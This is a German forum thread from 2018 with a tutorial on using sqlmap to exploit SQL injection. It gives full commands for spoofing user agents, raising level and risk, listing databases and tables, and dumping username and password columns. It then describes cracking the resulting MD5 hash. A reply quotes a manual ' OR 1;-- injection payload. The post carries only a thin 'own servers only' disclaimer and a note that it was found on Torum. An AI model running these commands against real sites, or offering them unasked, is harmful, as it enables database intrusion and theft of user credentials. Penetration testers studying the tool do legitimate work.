SQLmap Tutorial

12/05/2018 17:46 xbernx#1
SQLmap ist ein leistungsfähiges Werkzeug, um SQLi-Schwachstellen auszunutzen. Die grundlegende Verwendung ist
Code:
:~$ sqlmap -u "http://website.com/vulnerable?query=50" --db
Es gibt viele Optionen zum Anpassen von SQL Map:

Mit --user-agent= kann man einstellen, von welchem User-Agent die Anfragen kommen:
Code:
--user-agent = GoogleBOT
Oder eine zufällig generierte mit:
Code:
--random-agent
Ihr können auch die Anzahl der Threads festlegen, mit denen gearbeitet werden soll
Code:
--threads=5 (Standard ist 1)
Wenn das SQLi boolean-based ist, muss man die Abfrage möglicherweise noch eingehender prüfen, indem das Standardlevel und das Risiko von 1 bis 5 und 3 erhöhen. Dies ist zwar ungenauer, kann jedoch erforderlich sein.
Code:
--level=5
--risk=3
Ausserdem kann man noch DBMS erzwingen:
Code:
--dbms=mysql (oder postgresql/microsoft sql server/ etc)
Benutzen wir zunächst, was wir gelernt haben:
Code:
:~$ sqlmap -u "http://website.com/vulnerable?query=50" --threads=5 --level=5 --risk=3 --random-agent --dbms=mysql --keep-alive --dbs
Falls dies erfolgreich durchgeführt wurde, sollte man folgendes (oder ähnliches sehen):
Code:
available databases [2]:[*] information_schema[*] Main_DB (or whatever it's called)
Jetzt den Aufwärtspfeil drücken, um den vorherigen Befehl anzuzeigen. Ersetzt die Option --db durch -D NameDerTabelle und fügt --tables hinzu. Dadurch werden die Tabellen für diese Datenbank aufgelistet.

Jetzt kann man folgendes verwenden:
Code:
-D NameDerTabelle -T TabellenName --colums --dump
oder
Code:
-D NameDerTabelle -T Tabellenname -C ColumnName --dump
Folgendes kommt dabei dann heraus:
Code:
+----+---------------------------------------------+
| id | username | password
+----+---------------------------------------------+
| 1 | Anon | 5f4dcc3b5aa765d61d8327deb882cf99
+----+---------------------------------------------+
Jetzt muss man nur noch das Passwort cracken. In diesem Fall ist es MD5 und das Passwort ist "passwort". Wenn der Sysadmin faul ist, werden die Kennwörter manchmal im Klartext angezeigt.

Das Tutorial wird nur zum Testen an eigenen Geräten und Servern zur Verfügung gestellt. Gefunden auf Torum ohne Gewähr
12/05/2018 21:10 florian0#2
Ich hatte mit sqlmap bisher in den seltensten Fällen erfolg. Der hat nich mal die einfachsten Injections auszunutzen können. Aus ehemals einfachsten Lücken wurden brutal komplexe Queries die am Ende netma zuverlässige Ergebnisse geliefert haben. "Parameter x is not injectable" obwohl ich ihn per Hand mit " 'OR 1;--" easy exploiten konnte. Gibts da nen Trick?

Und wenns dann mal geht hält er sich unnötigerweise an den dümmsten Sachen auf. z.B. das er die Standard-DB Namen bei mysql, "mysql" und "information_schema", bruteforced, statt halbwegs intelligent zu raten. Tabellen und Spaltennamen kann man immerhin Wordlists angeben, aber das muss man auch erstma wissen.